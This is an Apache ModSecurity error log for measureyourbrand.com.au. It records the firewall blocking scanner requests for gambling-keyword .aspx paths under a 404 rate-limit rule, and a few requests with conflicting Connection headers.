[Sat Jan 31 18:54:00.636704 2026] [:error] [pid 39242:tid 39266] [client 217.182.194.16:37584] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aX3fSNOgXnkKGGSSCIMnLAAAAAw"]
[Sat Jan 31 18:54:03.132945 2026] [:error] [pid 31430:tid 31453] [client 217.182.194.16:46048] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aX3fS8cb14YPxXg_g5E5ZwAAAFM"]
[Sat Jan 31 18:54:07.727625 2026] [:error] [pid 44533:tid 44575] [client 217.182.194.16:46062] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aX3fT4Njc98kHMNVmnsxsgAAAcw"]
[Sat Jan 31 18:54:11.019279 2026] [:error] [pid 18803:tid 18819] [client 217.182.194.16:36490] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aX3fUy2kTcRk9EBIxOF3JQAAAg0"]
[Sat Jan 31 18:54:14.065330 2026] [:error] [pid 31465:tid 31500] [client 217.182.194.16:36506] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aX3fVjkaGp475ez0mlzmTQAAAkY"]
[Sat Jan 31 18:54:16.625921 2026] [:error] [pid 18803:tid 18824] [client 217.182.194.16:36518] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aX3fWC2kTcRk9EBIxOF3JwAAAhI"]
[Sat Jan 31 18:54:19.438359 2026] [:error] [pid 44532:tid 44556] [client 217.182.194.16:57000] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aX3fW8H-68uYbAtfrZ13MwAAAVQ"]
[Sat Jan 31 18:54:21.993497 2026] [:error] [pid 39339:tid 39352] [client 217.182.194.16:57004] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aX3fXcWi-IjigR3oHY5eIAAAAMs"]
[Sat Jan 31 18:54:24.523697 2026] [:error] [pid 18803:tid 18810] [client 217.182.194.16:57018] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aX3fYC2kTcRk9EBIxOF3MwAAAgQ"]
[Sat Jan 31 18:54:27.431293 2026] [:error] [pid 31465:tid 31517] [client 217.182.194.16:57032] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aX3fYzkaGp475ez0mlzmYgAAAlc"]
[Sat Jan 31 18:54:30.266325 2026] [:error] [pid 31465:tid 31507] [client 217.182.194.16:35690] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aX3fZjkaGp475ez0mlzmaAAAAk0"]
[Sat Jan 31 18:54:33.199106 2026] [:error] [pid 18803:tid 18820] [client 217.182.194.16:35702] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aX3faS2kTcRk9EBIxOF3PQAAAg4"]
[Sat Jan 31 18:54:35.807835 2026] [:error] [pid 31465:tid 31518] [client 217.182.194.16:35708] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aX3fazkaGp475ez0mlzmcQAAAlg"]
[Sat Jan 31 18:54:38.694943 2026] [:error] [pid 39339:tid 39353] [client 217.182.194.16:35724] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aX3fbsWi-IjigR3oHY5eLgAAAMw"]
[Sat Jan 31 18:54:41.573431 2026] [:error] [pid 59523:tid 59544] [client 217.182.194.16:36704] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aX3fcZEkxOIGmVhqUWJwGwAAAxE"]
[Sat Jan 31 18:54:44.311885 2026] [:error] [pid 31430:tid 31444] [client 217.182.194.16:36710] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aX3fdMcb14YPxXg_g5E5hAAAAEo"]
[Sat Jan 31 18:54:47.042899 2026] [:error] [pid 39242:tid 39269] [client 217.182.194.16:36712] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aX3fd9OgXnkKGGSSCIMnXQAAAA8"]
[Sat Jan 31 20:19:20.207915 2026] [:error] [pid 59523:tid 59539] [client 43.135.133.241:51912] [client 43.135.133.241] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aX3zSJEkxOIGmVhqUWJ9jwAAAww"]
[Sat Jan 31 21:36:27.332843 2026] [:error] [pid 39339:tid 39345] [client 43.153.85.46:35768] [client 43.153.85.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aX4FW8Wi-IjigR3oHY6F8gAAAMQ"]
[Sat Jan 31 22:11:02.416007 2026] [:error] [pid 39339:tid 39351] [client 95.217.109.26:57146] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aX4NdsWi-IjigR3oHY6OCAAAAMo"]
[Sat Jan 31 22:11:05.114773 2026] [:error] [pid 44532:tid 44553] [client 95.217.109.26:57148] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aX4NecH-68uYbAtfrZ2W-gAAAVE"]
[Sat Jan 31 22:11:07.762768 2026] [:error] [pid 18773:tid 18799] [client 95.217.109.26:27134] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aX4Ne9Hy21j24IPrB1X49AAAAZg"]
[Sat Jan 31 22:11:10.461098 2026] [:error] [pid 59523:tid 59531] [client 95.217.109.26:27150] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aX4NfpEkxOIGmVhqUWKNhwAAAwQ"]
[Sat Jan 31 22:11:13.237564 2026] [:error] [pid 18773:tid 18790] [client 95.217.109.26:27156] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aX4NgdHy21j24IPrB1X4-AAAAY8"]
[Sat Jan 31 22:11:16.029293 2026] [:error] [pid 59582:tid 59620] [client 95.217.109.26:27162] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aX4NhI5dwpvvp1Lc6f2EmgAAA8k"]
[Sat Jan 31 22:11:18.842555 2026] [:error] [pid 59582:tid 59632] [client 95.217.109.26:64310] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aX4Nho5dwpvvp1Lc6f2EnwAAA9M"]
[Sat Jan 31 22:11:21.459772 2026] [:error] [pid 44533:tid 44570] [client 95.217.109.26:64316] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aX4NiYNjc98kHMNVmntT9wAAAcc"]
[Sat Jan 31 22:11:24.107232 2026] [:error] [pid 59582:tid 59619] [client 95.217.109.26:64326] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aX4NjI5dwpvvp1Lc6f2EpQAAA8g"]
[Sat Jan 31 22:11:26.774132 2026] [:error] [pid 31465:tid 31514] [client 95.217.109.26:64328] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aX4NjjkaGp475ez0mlwh_gAAAlQ"]
[Sat Jan 31 22:11:29.409476 2026] [:error] [pid 39339:tid 39344] [client 95.217.109.26:21862] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aX4NkcWi-IjigR3oHY6OOgAAAMM"]
[Sat Jan 31 22:11:31.999701 2026] [:error] [pid 59523:tid 59538] [client 95.217.109.26:21878] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aX4Nk5EkxOIGmVhqUWKNkgAAAws"]
[Sat Jan 31 22:11:34.661407 2026] [:error] [pid 59582:tid 59632] [client 95.217.109.26:21886] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aX4Nlo5dwpvvp1Lc6f2ErQAAA9M"]
[Sat Jan 31 22:11:37.404873 2026] [:error] [pid 31465:tid 31500] [client 95.217.109.26:64822] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aX4NmTkaGp475ez0mlwiCgAAAkY"]
[Sat Jan 31 22:11:40.219880 2026] [:error] [pid 31430:tid 31447] [client 95.217.109.26:64838] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aX4NnMcb14YPxXg_g5FXLgAAAE0"]
[Sat Jan 31 22:11:43.128365 2026] [:error] [pid 18773:tid 18795] [client 95.217.109.26:64846] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aX4Nn9Hy21j24IPrB1X5CQAAAZQ"]
[Sat Jan 31 22:11:45.901325 2026] [:error] [pid 31465:tid 31507] [client 95.217.109.26:64862] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aX4NoTkaGp475ez0mlwiHQAAAk0"]
[Sat Jan 31 22:11:48.688780 2026] [:error] [pid 31430:tid 31441] [client 95.217.109.26:19362] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aX4NpMcb14YPxXg_g5FXNwAAAEc"]
[Sat Jan 31 22:11:51.248750 2026] [:error] [pid 31430:tid 31440] [client 95.217.109.26:19370] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aX4Np8cb14YPxXg_g5FXOQAAAEY"]
[Sat Jan 31 22:11:53.822909 2026] [:error] [pid 39242:tid 39270] [client 95.217.109.26:19380] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aX4NqdOgXnkKGGSSCINMKgAAABA"]
[Sat Jan 31 22:12:35.318964 2026] [:error] [pid 18803:tid 18824] [client 95.217.109.26:51430] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aX4N0y2kTcRk9EBIxOGf9wAAAhI"]
[Sat Jan 31 22:12:38.050641 2026] [:error] [pid 39339:tid 39358] [client 95.217.109.26:55840] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aX4N1sWi-IjigR3oHY6OdAAAANE"]
[Sat Jan 31 22:12:40.572918 2026] [:error] [pid 59523:tid 59529] [client 95.217.109.26:55854] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aX4N2JEkxOIGmVhqUWKNxQAAAwI"]
[Sat Jan 31 22:12:43.270412 2026] [:error] [pid 31430:tid 31448] [client 95.217.109.26:55864] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aX4N28cb14YPxXg_g5FXYAAAAE4"]
[Sat Jan 31 22:12:45.803681 2026] [:error] [pid 59523:tid 59528] [client 95.217.109.26:55880] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aX4N3ZEkxOIGmVhqUWKNyQAAAwE"]
[Sat Jan 31 22:12:48.630381 2026] [:error] [pid 59523:tid 59534] [client 95.217.109.26:9646] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aX4N4JEkxOIGmVhqUWKN0AAAAwc"]
[Sat Jan 31 22:12:51.500581 2026] [:error] [pid 39242:tid 39255] [client 95.217.109.26:9658] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aX4N49OgXnkKGGSSCINMYAAAAAE"]
[Sat Jan 31 22:12:54.165564 2026] [:error] [pid 31465:tid 31517] [client 95.217.109.26:9670] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aX4N5jkaGp475ez0mlwigQAAAlc"]
[Sat Jan 31 22:12:56.966172 2026] [:error] [pid 39339:tid 39358] [client 95.217.109.26:27674] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aX4N6MWi-IjigR3oHY6OjgAAANE"]
[Sat Jan 31 22:12:59.618918 2026] [:error] [pid 18803:tid 18818] [client 95.217.109.26:27680] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aX4N6y2kTcRk9EBIxOGgBwAAAgw"]
[Sat Jan 31 22:13:02.329376 2026] [:error] [pid 18803:tid 18810] [client 95.217.109.26:27682] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aX4N7i2kTcRk9EBIxOGgDAAAAgQ"]
[Sat Jan 31 22:13:05.086602 2026] [:error] [pid 44533:tid 44574] [client 95.217.109.26:27690] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aX4N8YNjc98kHMNVmntUKQAAAcs"]
[Sat Jan 31 22:13:07.707576 2026] [:error] [pid 44533:tid 44583] [client 95.217.109.26:6722] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aX4N84Njc98kHMNVmntULQAAAdQ"]
[Sat Jan 31 22:13:10.474850 2026] [:error] [pid 18773:tid 18791] [client 95.217.109.26:6734] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aX4N9tHy21j24IPrB1X5VQAAAZA"]
[Sat Jan 31 22:13:13.203371 2026] [:error] [pid 31465:tid 31515] [client 95.217.109.26:6748] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "aX4N-TkaGp475ez0mlwirAAAAlU"]
